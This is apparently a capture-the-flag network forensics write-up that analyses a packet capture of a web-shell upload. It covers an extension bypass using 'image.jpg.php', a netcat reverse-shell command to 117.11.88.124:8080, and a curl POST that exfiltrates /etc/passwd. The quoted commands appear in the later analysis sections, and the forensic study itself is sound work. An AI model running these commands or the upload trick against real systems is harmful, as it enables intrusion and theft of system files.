before starting with challenge we have to do something
first one open statistics then protocol hierarchy to see which protocols used in the packets
we will see tcp - http
second open statistics then conversation to see which ips connect with each other
we now ready for the challenge

using ipgeoloction
ans Tianjin

using follow tcp stream we will get user agent for attacker
Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

first we will follow the http request ant we find a post request in packet number 53 and 63
in this challenge the attacker uploaded two web shell first one called image.php and the second called image.jpg.php
and in packet 53 image.php web shell he get invalid formate so its not worked (in this cause we can be guess the web site in this location of upload it only accepte a photos with ext jpg png or something like that so the attacker change the extention with image.jpg.php then its accept in packet 63
we will notice this command in php file nc 117.11.88.124 8080 that mean the attacke will open a connection in port 8080 using netcat tool (netcat tool the connection not encrypted like socat)

with following http stream we will see in packet 138 we will the web shell in path /reviews/uploads/image.jpg.php
after the attacker access this path he gain access to the machine and can write a commands on a machine victim

to know which port the attacker used for web shell we can detect it form the command wrote in php file nc 117.11.88.124 8080 so the port is 8080

to know which file was the attacker trying to exfiltrate we have to go to packet 140 that includs all commands the attacker wrote in a victime machine

we will see this command curl -X POST -d /etc/passwd http://117.11.88.124:443/ curl is used in command lines or scripts to transfer data
then the file is passwd It contains a list of the system's accounts